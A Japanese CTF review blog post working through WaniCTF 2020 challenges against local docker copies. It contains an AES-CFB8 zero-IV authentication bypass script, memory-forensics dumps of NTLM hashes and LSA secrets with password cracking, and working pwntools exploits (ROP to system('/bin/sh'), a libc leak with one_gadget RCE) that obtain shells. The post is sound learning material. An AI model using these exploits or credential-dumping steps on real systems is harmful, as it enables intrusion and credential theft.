もう2ヶ月以上前の話になってしまいましたが、11月21-23日の三連休で開催されていた、WaniCTF 2020の解けなかった問題、ちゃんと復習したよ!報告。
私のwriteupと戦績はこちら。
競技終了からちょっと時間があいてしまいましたが、作問者想定writeupとともに問題が公開されているのでとても親切!
docker-compose
を含んだ問題サーバーのソース・スクリプトも同梱してあるので、どのジャンルの問題も手軽にlocalで動かして攻撃を試してみることができそう。
どの問題も本当に丁寧・親切に作られているし、作問者writeupもかなり丁寧に書かれているので、是非一度やってみるのをおすすめします!
[Crypto] l0g0n [Very hard]
🕵️♂️
nc l0g0n.wanictf.org 50002
Writer : Laika
server.py
が配布されます。
from hashlib import pbkdf2_hmac import os from Crypto.Cipher import AES from secret import flag, psk class AES_CFB8: def __init__(self, key): self.block_size = 16 self.cipher = AES.new(key, AES.MODE_ECB) def encrypt(self, plaintext: bytes, iv=bytes(16)): iv_plaintext = iv + plaintext ciphertext = bytearray() for i in range(len(plaintext)): X = self.cipher.encrypt(iv_plaintext[i : i + self.block_size])[0] Y = plaintext[i] ciphertext.append(X ^ Y) return bytes(ciphertext) def key_derivation_function(x): dk = pbkdf2_hmac("sha256", x, os.urandom(16), 100000) return dk def main(): while True: client_challenge = input("Challenge (hex) > ") client_challenge = bytes.fromhex(client_challenge) server_challenge = os.urandom(8) print(f"Server challenge: {server_challenge.hex()}") session_key = key_derivation_function(psk + client_challenge + server_challenge) client_credential = input("Credential (hex) > ") client_credential = bytes.fromhex(client_credential) cipher = AES_CFB8(session_key) server_credential = cipher.encrypt(client_challenge) if client_credential == server_credential: print(f"OK! {flag}") else: print("Authentication Failed... 🥺") if __name__ == "__main__": main()
- clientからchallengeコードを受け取る
- serverのchallengeコードを生成・表示(ランダム)
session_key
の作成- psk(imported) + client_challenge + server_challenge
- clientのcredentialを受け取る
- 3で生成した
session_key
をkeyに、AES暗号モジュールを生成 server_credential
を上記の暗号モジュールとclient_challangeから生成- 4と6が一致すればflagを表示
AESは、ECBモードを使っているのでここが脆弱ポイントかな?
更に、初期ベクトルiv
に設定される値は、encrypt時に値を指定しなければdefaultでゼロになってしまう。
def encrypt(self, plaintext: bytes, iv=bytes(16)):
(ivのdefault値はこうなる↓)
b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
今回 encrypt 使用時に iv は指定されていないので、ivは常に0。
あれ、これ最近のzerologon脆弱性(iv=0に固定されていた)のオマージュ的な問題かな?
importされているpsk
が不明、かつserver_challengeもランダムで不明なので、session_keyは推測したり目的のものを作らせるのが難しそう。
となると、上記のencrypt
関数の不備を利用して、client_challengeに特定の値を入れることで、出力のserver_credentiialを何とか出来ないだろうか。
server_credential = cipher.encrypt(client_challenge)
client_challengeにb'\x00'*8
を突っ込み続けてFLAG{
になるようにpskを推測してみる?ブルートフォース?
ここまでが競技期間中の記録(というか独り言)。
ドメインコントローラーがのっとられる脆弱性 Zerologon(CVE-2020-1472)についてまとめてみた - piyolog
これに関連する問題だと思ったので解きたかったんだけど、全然時間足りなかった…(꒪⌓꒪)
piyokangoさんのこのブログからkrenaifさんの解説動画にリンクが貼ってあるんだな!びっくり!
まずは、CTF環境をコードから立ち上げてみます。
$ git clone git@github.com:wani-hackase/wanictf2020-writeup.git $ cd wanictf2020-writeup/crypto/l0g0n/src $ docker build -t l0g0n:local . $ docker run -d -p 50002:50002 l0g0n:local
立ち上がったっぽいので、下記コマンドでアクセスしてみます。
$ nc localhost 50002 Challenge (hex) > 00000000 Server challenge: 7d0361f714727fcc Credential (hex) > 00000000 Authentication Failed... 🥺
環境は再現できた!めっちゃかんたん!ここまで整備して配布していただいてありがたい!
作問者writeupと、いつもお世話になっている 暗号技術入門04 ブロック暗号のモード〜ブロック暗号をどのように繰り返すのか〜 | SpiriteK Blog の CFB(Cipher FeedBack)モード の章を眺めて理解。
方針は間違っていなかったようで、ivが0固定であることから、client_challengeに0
を入れるとserver_credentialが一定の確率でb'\x00'*8
になるというロジックだった。
この一定の確率というのが、下記AES_CFBB
クラスのencrypt
関数にて
def encrypt(self, plaintext: bytes, iv=bytes(16)): iv_plaintext = iv + plaintext ciphertext = bytearray() for i in range(len(plaintext)): X = self.cipher.encrypt(iv_plaintext[i : i + self.block_size])[0] Y = plaintext[i] ciphertext.append(X ^ Y) return bytes(ciphertext)
Y
はplaintext(=client_challenge)
がb'\x00'*8
固定なので常にb'\x00'
。iv_plaintext
もb'\x00'*8
固定のivとb'\x00'*8
で突っ込むclient_challengeなので、常にb'\x00'*16
。全部0。
X
の計算を見てみると、iが変化していくにつれてiv_plaintext
のどこを切り取って暗号モジュールに突っ込むかが変化するわけだけども、iv_plaintext
が0ベクトル固定になるので、X
の計算結果は常に同じになる。
ということは、X
が b'\x00'
になったとき、同じくX xor Y
は0
で、返却されるciphertext(=server_credential)
はb'\x00'*8
となり、予測可能な値になる。
あとはベクトルX
の先頭がb'\x00
になるまで文字通りチャレンジし続ける。(b'\x00
~b'\xff
の値を取りうるので、確率としては1/256)
from pwn import * host = 'localhost' port = 50002 r = remote(host, port) cnt = 0 while True: cnt += 1 print(cnt) r.recvuntil(b'Challenge (hex) > ') r.sendline(b'00000000') # client_challenge r.recvuntil(b'Credential (hex) > ') r.sendline(b'00000000') # server_credential res = r.recvuntil(b'\n') print(res) if b'Authentication Failed...' not in res: print(res) print(r.recv())
実行結果
$ python solve.py [+] Opening connection to localhost on port 50002: Done 1 b'Authentication Failed... \xf0\x9f\xa5\xba\n' 2 b'Authentication Failed... \xf0\x9f\xa5\xba\n' 3 b'Authentication Failed... \xf0\x9f\xa5\xba\n' 4 b'Authentication Failed... \xf0\x9f\xa5\xba\n' 5 b'Authentication Failed... \xf0\x9f\xa5\xba\n' 6 b'Authentication Failed... \xf0\x9f\xa5\xba\n' 7 b'Authentication Failed... \xf0\x9f\xa5\xba\n' 8 b'Authentication Failed... \xf0\x9f\xa5\xba\n' 9 b'Authentication Failed... \xf0\x9f\xa5\xba\n' 10 b"OK! b'FLAG{4_b@d_IV_leads_t0_CVSS_10.0__z3r01090n}'\n" b"OK! b'FLAG{4_b@d_IV_leads_t0_CVSS_10.0__z3r01090n}'\n" b'Challenge (hex) > '
競技中もclient_challengeを00000000
で攻めるのやってみてたけど、1/256の確率とか、そういうところ全然考えられてなくて、とりあえず0送ってみよ!って感じだったので、何度も投げてみるのはしなかったなぁ。
ちゃんと理論から解説していただけて有り難い!
[Forensics] ALLIGATOR_03 [Hard]
Dr.WANIはいつも同じパスワードを使うらしいです。
Dr.WANIのパソコンから入手したパス付のzipファイルを開けて、博士の秘密を暴いてしまいましょう。
(ALLIGATOR_01で配布されているファイルを使ってください)
Writer : takushooo
$ unzip wani_secret.zip Archive: wani_secret.zip creating: wani_secret/ [wani_secret.zip] wani_secret/flag.txt password: skipping: wani_secret/flag.txt incorrect password
お、このzipにワニ博士がよく使うパスワードが使われているんですね!なるほど。
メモリフォレンジックCTF「MemLabs」Lab1のWriteUp: NECセキュリティブログ | NEC
こちらのサイトに、vilatilityを用いたパスワード取得方法が載っていたので試したところ
$ volatility -f ALLIGATOR.raw --profile=Win7SP1x86_23418 hashdump Volatility Foundation Volatility Framework 2.6 Administrator:500:aad3b435b51404eeaad3b435b51404ee:fc525c9683e8fe067095ba2ddc971889::: Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: IEUser:1000:aad3b435b51404eeaad3b435b51404ee:fc525c9683e8fe067095ba2ddc971889::: sshd:1001:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: sshd_server:1002:aad3b435b51404eeaad3b435b51404ee:8d0a16cfc061c3359db455d00ec27035::: ALLIGATOR:1003:aad3b435b51404eeaad3b435b51404ee:5e7a211fee4f7249f9db23e4a07d7590:::
Hashまでは取れました。これはNTLMハッシュというものらしい。ここからもとに戻せるのか…?
ここまで想定解と一緒だったけど、戻せなかったんだよなー。
john the ripperでntlm形式のハッシュをもとに戻す方法を調べてやってみたり
LM, NTLM, Net-NTLMv2, oh my!. A Pentester’s Guide to Windows Hashes | by Péter Gombos | Medium
他のコマンドを試してみたりしてたら2の想定解っぽいのを見つけたり。
$ volatility -f ALLIGATOR.raw --profile=Win7SP1x86_23418 pstree Volatility Foundation Volatility Framework 2.6 Name Pid PPid Thds Hnds Time -------------------------------------------------- ------ ------ ------ ------ ---- (割愛) 0x84a54ab0:csrss.exe 328 320 9 411 2020-10-26 19:00:23 UTC+0000 0x84b2fd20:audiodg.exe 1008 768 6 122 2020-10-26 03:00:25 UTC+0000 0x8494c030:cmd.exe 3728 2964 1 19 2020-10-26 03:02:09 UTC+0000 0x84a22710:winlogon.exe 2700 2656 3 107 2020-10-26 03:01:39 UTC+0000 0x84dd6b28:evil.exe 3632 2964 1 21 2020-10-26 03:01:55 UTC+0000 0x83eb8d20:conhost.exe 3736 2676 2 53 2020-10-26 03:02:09 UTC+0000
このあたりが気になる。
winlogon.exe
のpid2700
のメモリを覗いてみることに。
$ volatility -f ALLIGATOR.raw --profile=Win7SP1x86_23418 consoles Volatility Foundation Volatility Framework 2.6 ************************************************** ConsoleProcess: conhost.exe Pid: 336 Console: 0x4f81c0 CommandHistorySize: 50 HistoryBufferCount: 2 HistoryBufferMax: 4 OriginalTitle: C:\Program Files\OpenSSH\bin\cygrunsrv.exe Title: C:\Program Files\OpenSSH\bin\cygrunsrv.exe AttachedProcess: sshd.exe Pid: 856 Handle: 0x54 ---- CommandHistory: 0xb0960 Application: sshd.exe Flags: Allocated CommandCount: 0 LastAdded: -1 LastDisplayed: -1 FirstCommand: 0 CommandCountMax: 50 ProcessHandle: 0x54 ---- CommandHistory: 0xb07f0 Application: cygrunsrv.exe Flags: CommandCount: 0 LastAdded: -1 LastDisplayed: -1 FirstCommand: 0 CommandCountMax: 50 ProcessHandle: 0x0 ---- Screen 0xc6098 X:80 Y:300 Dump: ************************************************** ConsoleProcess: conhost.exe Pid: 3736 Console: 0x4f81c0 CommandHistorySize: 50 HistoryBufferCount: 1 HistoryBufferMax: 4 OriginalTitle: %SystemRoot%\system32\cmd.exe Title: Administrator: C:\Windows\system32\cmd.exe AttachedProcess: cmd.exe Pid: 3728 Handle: 0x5c ---- CommandHistory: 0x350440 Application: cmd.exe Flags: Allocated, Reset CommandCount: 1 LastAdded: 0 LastDisplayed: 0 FirstCommand: 0 CommandCountMax: 50 ProcessHandle: 0x5c Cmd #0 at 0x3546d8: type C:\Users\ALLIGATOR\Desktop\flag.txt ---- Screen 0x3363b8 X:80 Y:300 Dump: Microsoft Windows [Version 6.1.7601] Copyright (c) 2009 Microsoft Corporation. All rights reserved. C:\Users\ALLIGATOR>type C:\Users\ALLIGATOR\Desktop\flag.txt FLAG{y0u_4re_c0n50les_master} C:\Users\ALLIGATOR>
これ02の想定解だな。
色々dumpしてみたり
$ volatility -f ALLIGATOR.raw --profile=Win7SP1x86_23418 cmdline | grep evil.exe
$ volatility -f ALLIGATOR.raw --profile=Win7SP1x86_23418 lsadump Volatility Foundation Volatility Framework 2.6 DefaultPassword 0x00000000 12 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 0x00000010 50 00 61 00 73 00 73 00 77 00 30 00 72 00 64 00 P.a.s.s.w.0.r.d. 0x00000020 21 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 !............... _SC_OpenSSHd 0x00000000 14 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 0x00000010 44 00 40 00 72 00 6a 00 33 00 33 00 6c 00 31 00 D.@.r.j.3.3.l.1. 0x00000020 6e 00 67 00 00 00 00 00 00 00 00 00 00 00 00 00 n.g............. DPAPI_SYSTEM 0x00000000 2c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ,............... 0x00000010 01 00 00 00 87 bb 00 13 2b 5e 4a 9a 7f 55 d0 8d ........+^J..U.. 0x00000020 d7 26 6c 9f b0 de 69 88 a7 13 3b e4 30 67 f7 a2 .&l...i...;.0g.. 0x00000030 f1 09 98 76 c6 a3 2f cc f9 eb 90 df 00 00 00 00 ...v../.........
お!なんか出てきたぞ!と思って試してみた。
行けたと思ったけどどれも通らず時間切れ。
- Passw0rd!
- D@rj33l1ng
想定解法では、
john the ripperやhashcat、crackstationを利用してNTLM hashからパスワードを復元する。
とある。johnとhashcatが不発だったので、リンク付きで紹介されていたcrack stationで試してみる。
えー!一瞬で出た!悔しい!!!何故競技中に試さなかったのか。
ということで、passwordはilovewani
。
あとはzipをこのパスワードで解凍すればflag.txt
が出てくる。
【正式名称】 大阪大学 公式マスコットキャラクター「ワニ博士」 【プロフィール】 名前: ワニ博士(わにはかせ) 誕生日: 5 月 3 日 性別: オス 出身地: 大阪府 豊中市 待兼山町 【性格】 温厚,好奇心旺盛,努力型,お茶目,社交的,たまに天然,賢い 【趣味】 ・阪大キャンパスでコーヒーを飲みながら学生としゃべる ・粉もん屋めぐり ・化石集め。(いつか自分の仲間に会うために) ・CTF: FLAG{The_Machikane_Crocodylidae}
これは通したかったぞー!!!!
[Forensics] zero_size_png [Very hard]
この画像のサイズは本当に0×0ですか?
PNG イメージヘッダ(IHDR)
Writer : takushooo
dyson.png
が配布されます。
650kbもあるのでサイズゼロではないですね。これもchunk_eater
と同じ感じで修復を試みます。
$ pngcheck dyson.png dyson.png invalid IHDR image dimensions (0x0) ERROR: dyson.png
どうやらサイズを調節すればよさそう。適当な値をバイナリエディタで入れてみる。
0 x 0 -> 0x40 x 0x40 に変更してみた。
$ pngcheck -v dyson.png File: dyson.png (650046 bytes) chunk IHDR at offset 0x0000c, length 13 64 x 64 image, 32-bit RGB+alpha, non-interlaced CRC error in chunk IHDR (computed aa6971de, expected b55951a1) ERRORS DETECTED in dyson.png
CRCチェックで引っかかった様子。
画像を読み込んで、サイズのchunkを書き換えて、pngcheckをかけて、というのを総当りでやれば、どこかでERRORが出ない、もしくは次のERRORに変わるタイミングが来るのかな?
でも時間無いのでpass。なんか時短のやり方があるのかな?
ここまでが競技中のメモ。なんか時間がめっちゃかかる予感がして、これ以上手を出していなかったのでした。
想定解法を見てみると…
正しい縦横比を総当たりで探す。
あ、はい。
今回CRCチェックで引っかかったのは、IHDRチャンク。
ここのサイズが不明。このチャンクをまずは正しい値に直せばよく(他のチャンクも壊れている可能性があるため)、CRCには正しい値が入っているっぽい。バイナリ全体を読み込む&計算する必要はなく、このチャンクの情報だけで正しいサイズが(総当りで)計算できそう。
PNGのCRC計算方法はCRC32。binascii
のcrc32
というライブラリが使えるらしい。
binascii --- バイナリデータと ASCII データとの間での変換 — Python 3.9.1 ドキュメント
CRCの計算はChunk TypeとChunk Dataを元にするらしいので、現在の情報整理。
Data | byte | Value(hex) |
---|---|---|
Chunk Type | 4 | 49484452 |
Width | 4 | ? |
Height | 4 | ? |
Bit Depth | 1 | 08 |
Color type | 1 | 06 |
Compression method | 1 | 00 |
Filter method | 1 | 00 |
Interlace method | 1 | 00 |
CRC | 4 | B55951A1 |
※ほとんど想定解と同じコードになっていますが
from binascii import crc32 correct_crc = int('B55951A1',16) for h in range(2000): for w in range(2000): data = ( b"\x49\x48\x44\x52" + w.to_bytes(4, byteorder="big") + h.to_bytes(4, byteorder="big") + b"\x08\x06\x00\x00\x00" ) if crc32(data) & 0xffffffff == correct_crc: print("Width: ", end="") print(hex(w)) print("Height :", end="") print(hex(h)) exit()
実行結果
$ python solve.py Width: 0x257 Height :0x30d
すぐに結果が出た!これをバイナリエディタで書き込んであげると画像が見えるように。
flagが下の方に書いてありました🙌
[Pwn] rop func call [Normal]
nc rop.wanictf.org 9006
x64の関数呼び出しと、Return Oriented Programming (ROP)を理解する必要があります。
x64の関数呼び出しでは第一引数がRDI、第二引数がRSI、第三引数がRDXに設定する必要があります。
pwntoolsを使わないと解くのは大変だと思います。
念のためpwntoolsのサンプルプログラム「pwn06_sample.py」を載せておきました。
Writer : saru
pwn06.c
, pwn06
, pwn06_sample.py
が配布されます。
#include <stdio.h> #include <unistd.h> #include <stdlib.h> #include <string.h> char str_head[] = "hello "; char str_tail[] = "!\n"; char binsh[] = "/bin/sh"; void init(); void debug_stack_dump(unsigned long rsp, unsigned long rbp); void vuln() { char name[10]; int ret; printf("What's your name?: "); ret = read(0, name, 0x100); name[ret - 1] = 0; write(0, str_head, strlen(str_head)); write(0, name, strlen(name)); write(0, str_tail, strlen(str_tail)); { //for learning stack register unsigned long rsp asm("rsp"); register unsigned long rbp asm("rbp"); debug_stack_dump(rsp, rbp); } } int main() { init(); system("echo Welcome to rop function call!!!"); while (1) { vuln(); } } void init() { alarm(30); setbuf(stdin, NULL); setbuf(stdout, NULL); setbuf(stderr, NULL); } void debug_stack_dump(unsigned long rsp, unsigned long rbp) { unsigned long i; puts("\n***start stack dump***"); i = rsp; while (i <= rbp + 32) { unsigned long *p; p = (unsigned long *)i; printf("0x%lx: 0x%016lx", i, *p); if (i == rsp) { printf(" <- rsp"); } else if (i == rbp) { printf(" <- rbp"); } else if (i == rbp + 8) { printf(" <- return address"); } printf("\n"); i += 8; } puts("***end stack dump***\n"); }
sample.py
import pwn #io = pwn.remote("rop.wanictf.org", 9006) io = pwn.process("./pwn06") ret = io.readuntil("What's your name?: ") print(ret) addr = 0x0102030405 s = b"A" * 14 s += pwn.p64(addr) print(s) io.send(s) io.interactive()
system("/bin/sh")
みたいに呼び出すよう命令を積みたいなー、と、関数のアドレスを調べたり、ropに使えるpop gadget探したり、それを組んでみたりはしていたのだけど、割と雰囲気でいつもやってしまっているのと、x64系よくわかっていないのでflagは取れなかった。
saruさんによる想定解と解説がとても丁寧だったので、これを見ながら理解する。
今回の問題ではスタックでnameは22文字埋めると戻り番地に届くので
radare2で該当の関数vuln
を確認。
| sym.vuln (); | ; var int local_eh @ rbp-0xe
inputのname
はlocal_eh
に格納されそうなので、0xe + 0x8 (=22d)
をbufferとして積むとreturnに届く。
次にropの積み方 @x64
x64の関数呼び出しでは第一引数がRDI、第二引数がRSI、第三引数がRDXに設定する必要があります。
とのことなので、CPU registerには
CPU register | Value |
---|---|
rdi | |
rsi | |
r15(RDX) |
こんな形で設定する必要がある。system関数のbin/sh
をsystem("/bin/sh")
の形で呼び出すと、shellが取れそう。
なので、system関数の呼び出し時に、CPU registerが
CPU register | Value |
---|---|
rdi | "/bin/sh"の格納先アドレス |
rsi | なんでも |
r15(RDX) | なんでも |
になってるとよさそう。
各必要なアドレスはこの前の問題とかradare2とかobjdumpで確認。
RopGadget探し。radare2にて
[0x00400700]> /R pop 0x00400756 4885c0 test rax, rax 0x00400759 740d je 0x400768 0x0040075b 5d pop rbp 0x0040075c bf88106000 mov edi, 0x601088 0x00400761 ffe0 jmp rax (略) 0x00400a51 5e pop rsi 0x00400a52 415f pop r15 0x00400a54 c3 ret 0x00400a53 5f pop rdi 0x00400a54 c3 ret
使えそうなのはこの2つ。
system
のアドレスは
[0x00400700]> afl 0x00400648 3 23 sym._init ... 0x004006b0 1 6 sym.imp.setbuf 0x004006c0 1 6 sym.imp.system 0x004006d0 1 6 sym.imp.printf ... 0x004007e7 1 179 sym.vuln 0x0040089a 2 38 main 0x004008c0 1 77 sym.init (略)
なので0x004006c0
。
binsh
のアドレスは
$ objdump -t pwn06 | grep binsh 0000000000601080 g O .data 0000000000000008 binsh
なので0x00601080
#!/usr/bin/env python3 # -*- coding:utf-8 -*- from pwn import * host = 'rop.wanictf.org' port = 9006 e = ELF('pwn06') binsh_addr = 0x00601080 system_addr = 0x004006c0 pop_rdi_addr = 0x00400a53 pop_rsi_r15_addr = 0x00400a51 def attack(payload): #r = remote(host, port) r = process('./pwn06') print(r.recvuntil(b"What's your name?:")) r.sendline(payload) res = r.recv() print(res) r.interactive() buffer = 0xe + 8 payload = b'a' * buffer payload += p64(pop_rdi_addr) payload += p64(binsh_addr) payload += p64(pop_rsi_r15_addr) payload += b'a' * 16 payload += p64(system_addr) attack(payload)
これでshellは取れた👍
しかし、flagが取りたい。嬉しいことに、環境構築スクリプトも公開されているので、local環境にchallenge環境を再現する。今回はkaliで構築してみた。
- dockerのinstall (kali)
- docker-composeのinstall
- github repositoryのclone
- docker-compose up
3と4のコマンド掲載
$ git clone git@github.com:wani-hackase/wanictf2020-writeup.git $ cd wanictf2020-writeup/pwn/06-rop-func-call/ $ docker-compose up --build
接続確認
$ nc localhost 9006 Welcome to rop function call!!! What's your name?:
これだけでlocalhostの9006ポートで動いてくれた🙌
あとは、これに対して攻撃コードをちょっと書き換えて実施。
#!/usr/bin/env python3 # -*- coding:utf-8 -*- from pwn import * #host = 'rop.wanictf.org' host = 'localhost' port = 9006 e = ELF('pwn06') binsh_addr = 0x00601080 system_addr = 0x004006c0 pop_rdi_addr = 0x00400a53 pop_rsi_r15_addr = 0x00400a51 def attack(payload): r = remote(host, port) #r = process('./pwn06') print(r.recvuntil(b"What's your name?:")) r.sendline(payload) res = r.recv() print(res) r.interactive() buffer = 0xe + 8 payload = b'a' * buffer payload += p64(pop_rdi_addr) payload += p64(binsh_addr) payload += p64(pop_rsi_r15_addr) payload += b'a' * 16 payload += p64(system_addr) attack(payload)
実行結果
$ python solve.py [*] '/root/ctf/wani/pwn06' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000) [+] Opening connection to localhost on port 9006: Done b"Welcome to rop function call!!!\nWhat's your name?:" b' ' [*] Switching to interactive mode hello aaaaaaaaaaG! ***start stack dump*** 0x7ffd331e4970: 0x6161616161610000 <- rsp 0x7ffd331e4978: 0x0000004761616161 0x7ffd331e4980: 0x6161616161616161 <- rbp 0x7ffd331e4988: 0x0000000000400a53 <- return address 0x7ffd331e4990: 0x0000000000601080 0x7ffd331e4998: 0x0000000000400a51 0x7ffd331e49a0: 0x6161616161616161 ***end stack dump*** $ ls chall flag.txt redir.sh $ cat flag.txt FLAG{learning-rop-and-x64-system-call}
flag取れたーー!!!!!!٩(๑❛ᴗ❛๑)尸
[Pwn] one gadget rce [Hard]
nc rce.wanictf.org 9007
ROPを使ったlibcのロードアドレスのリークを理解する必要があります。 libc上にあるone gadget RCE (Remote Code Execution)の探し方と呼び出し方を理解する必要があります。
one_gadget libc-2.27.so
使用ツール例 * pwntools * objdump * ROPgadget * one_gadget
セキュリティ保護 * Partial RELocation ReadOnly (RELRO) * Stack Smash Protection (SSP)無効 * No eXecute bit(NX)有効 * Position Independent Executable (PIE)無効
Writer : saru
pwn07
, pwn07.c
, libc-2.27.so
が配布されます。
#include <stdio.h> #include <unistd.h> #include <stdlib.h> #include <string.h> char str_head[] = "hello "; char str_tail[] = "!\n"; void init(); void debug_stack_dump(unsigned long rsp, unsigned long rbp); void vuln() { char name[10]; int ret; printf("What's your name?: "); ret = read(0, name, 0x100); name[ret - 1] = 0; write(0, str_head, strlen(str_head)); write(0, name, strlen(name)); write(0, str_tail, strlen(str_tail)); { //for learning stack register unsigned long rsp asm("rsp"); register unsigned long rbp asm("rbp"); debug_stack_dump(rsp, rbp); } } int main() { init(); puts("Welcome to one-gadget RCE!!!"); while (1) { vuln(); } } void init() { alarm(30); setbuf(stdin, NULL); setbuf(stdout, NULL); setbuf(stderr, NULL); } void debug_stack_dump(unsigned long rsp, unsigned long rbp) { unsigned long i; puts("\n***start stack dump***"); i = rsp; while (i <= rbp + 32) { unsigned long *p; p = (unsigned long *)i; printf("0x%lx: 0x%016lx", i, *p); if (i == rsp) { printf(" <- rsp"); } else if (i == rbp) { printf(" <- rbp"); } else if (i == rbp + 8) { printf(" <- return address"); } printf("\n"); i += 8; } puts("***end stack dump***\n"); }
とりあえず one_gadget を使ってlibc
から使えるgadgetを収集してみる。
$ gem install one_gadget $ one_gadget libc-2.27.so 0x4f3d5 execve("/bin/sh", rsp+0x40, environ) constraints: rsp & 0xf == 0 rcx == NULL 0x4f432 execve("/bin/sh", rsp+0x40, environ) constraints: [rsp+0x40] == NULL 0x10a41c execve("/bin/sh", rsp+0x70, environ) constraints: [rsp+0x70] == NULL
3つ見つかった。どれかが使えるはず。
ここで競技中は終わってしまっていた。時間足りんかったんかな。
localでの環境再現は、一つ前の rop func call と同じ。
$ cd wanictf2020-writeup/pwn/07-one-gadget-rce/ $ docker-compose up --build
これで立ち上がるので、接続確認。
$ nc localhost 9007 Welcome to one-gadget RCE!!! What's your name?:
👍 今回もlocalで構築した環境のflagを取るのを目標にします。
作問者writeupと、過去に解いた SECCON for Beginners CTF 2019 [Pwnable] BabyHeap を見ながら考えます。
vuln()
関数は rop func call と同じ。ある程度 さっきの問題のexploit code がそのまま使えそう。
違いは、"\bin\sh"
が提供されていないこと。なので、one-gadgetを用いてexecve("/bin/sh", hoge, hogee)
を実行してくれるアドレスを探し、system("\bin\sh")
の代わりにこれを実行してもらう。
まずはpop gadget探し。radare2でさっきと同様に
[0x004006c0]> /R pop 0x004006e0 5a pop rdx 0x004006e1 084000 or byte [rax], al 0x004006e4 ff1506092000 call qword [rip + 0x200906] ...(中略) 0x00400a11 5e pop rsi 0x00400a12 415f pop r15 0x00400a14 c3 ret 0x00400a13 5f pop rdi 0x00400a14 c3 ret
rop gadget を発見。
one_gadgetで発見したアドレスはlibc_base
からの相対アドレスなので、まずはlibc_base
の実行時のアドレスを取得します。
今回はgot@write
関数を使います(上記過去問と揃えた)。got@write
には、実際に実行されるwrite関数のアドレスが描いてあるので、これを表示させる作戦。
先程はreturnを上書きするときにsystem("\bin\sh")
を呼び出すのを目標としていましたが、今度はputs(got@write)
を呼び出すように組んでみます。
その後にプログラム開始のアドレスを入れることで、上記の処理が終わったあとにもう一度プログラムを走らせ、同じ要領で one_gadget で得られたアドレスに飛ばしてexecve("/bin/sh", hoge, hoge)
を実行させます。
#!/usr/bin/env python3 # -*- coding:utf-8 -*- from pwn import * #host = 'rce.wanictf.org' host = 'localhost' port = 9007 elf = ELF('./pwn07') libc = ELF('./libc-2.27.so') pop_rdi_addr = 0x00400a13 pop_rsi_r15_addr = 0x00400a11 one_gadget_addr = 0x010a41c r = remote(host, port) #r = process('./pwn07') buffer = 0xe + 8 # get lib_base_addr payload = b'a' * buffer payload += p64(pop_rdi_addr) payload += p64(elf.got['write']) # writeのaddrがregisterに登録される payload += p64(elf.plt['puts']) # putsが引数 write_addr で呼び出される payload += p64(elf.symbols['_start']) # プログラムを再度実行するため先頭に戻す print(r.recvuntil(b"What's your name?:")) r.sendline(payload) r.recv() # blank r.recv() # hello res = r.recv() # stack dump, address, welcome write_addr = int.from_bytes(res.split(b'\n')[12], byteorder='little') print('write_addr: ' + hex(write_addr)) libc_base_addr = write_addr - libc.symbols['write'] print('libc_base: ' + hex(libc_base_addr)) # get shell payload = b'a' * buffer payload += p64(libc_base_addr + one_gadget_addr) r.sendline(payload) r.interactive()
実行結果
$ python solve07.py ...(中略)... [+] Opening connection to localhost on port 9007: Done b"Welcome to one-gadget RCE!!!\nWhat's your name?:" write_addr: 0x7f215bc4d210 libc_base: 0x7f215bb3d000 [*] Switching to interactive mode hello aaaaaaaaaa\x1f ...(中略)... $ ls chall flag.txt redir.sh $ cat flag.txt FLAG{mem0ry-1eak-4nd-0ne-gadget-rem0te-ce}
やほほーい🙌🚩
[Pwn] heap [Very hard]
nc heap.wanictf.org 9008
これが作問者の現在の限界です。
セキュリティ保護 * Partial RELocation ReadOnly (RELRO) * Stack Smash Protection (SSP)有効 * No eXecute bit(NX)有効 * Position Independent Executable (PIE)無効
libc-2.27.so
, pwn08
が配布されます。
おぉぉぉー!tcache-poisoningだ!(githubでは問題の管理タイトルがtcache-poisoningになってた)
これは問題の回収すら間に合わずに終わってしまっていました。
ソースコード(.c
)の配布は無かったのかな?
せっかく復習で時間がたっぷりあるので、色々つついて挙動を確認してみます。
localで前の問題と同じように環境を構築し、サービス(challenge)を動かしてみます。
$ cd 08-tcache-poisoning/ $ docker-compose up --build
接続してみる。
$ nc localhost 9008 Welcome to memo application!!! 1: add memo 2: edit memo 3: view memo 9: del memo command?:
よし!動いた!docker-compose
まで用意してくれると、本当に環境構築しやすくて有り難い。
つついてみると、下記のような機能。あまり解けたことはないが、heap問題でよくでてくる機能だ。
- add: indexを指定してメモを作成
- edit: 上記で作ったメモを編集
- view: メモを一覧 -> 作成していないindexを指定すると落ちる
- del: メモを削除
editで、addの時指定したサイズよりかなり大きな値を入れると、次のindexの領域まで書かれる。size=1
でindex0を作成した時は、a
*33 でindex1の領域にも書かれた。
その状態で index0 を del しても、 index1 の領域に書かれたデータはそのままっぽい。
更に、index=0,1を作成し、1をdeleteしたあと、0にoverflowさせて書き込むと、deleteされたはずのindex=1の領域にはみ出して書かれていることがわかる。(その後index=1 を再度addすると、edit前に上記で溢れた値が書かれている)
さらにさらに、同じindexを2度delできそう。
以上の観測事項より、freeした領域に自由な値が書込み可能そう、double freeできちゃいそう、かつlibcが2.27でtcacheが有効、__free_hook
を書き換え可能なので、_free_hook
をone_gadgetに書き換える方針でいく。
tcache poisoningについては、SECCON Beginners CTF 2019のWriteup - CTFするぞ の BabyHeap の解説をいつも参考にさせていただいております。
また、去年のSECCON for Beginners CTF 2020 [Pwn] Beginner's Heapが、メモリの状況をとても把握しやすく、今回の問題を理解・解くにあたっても大いに役立ちました。感謝!
tcacheの基本情報については、こちらにメモを残していたので、事前に再度確認。
作戦
freeしたときにtcacheに格納されるサイズ、かつ同じサイズの領域を3つ確保し、うち2つをfreeします。
1. add(0) 2. add(1) 3. add(2) 4. del(2) 5. del(1)
tcacheはこんな感じ
# tcache -> 1 -> 2 -> NULL
(1,2はもともとindex1,index2に格納されていた領域へのポインタ、の意)
memoryはこんな感じ
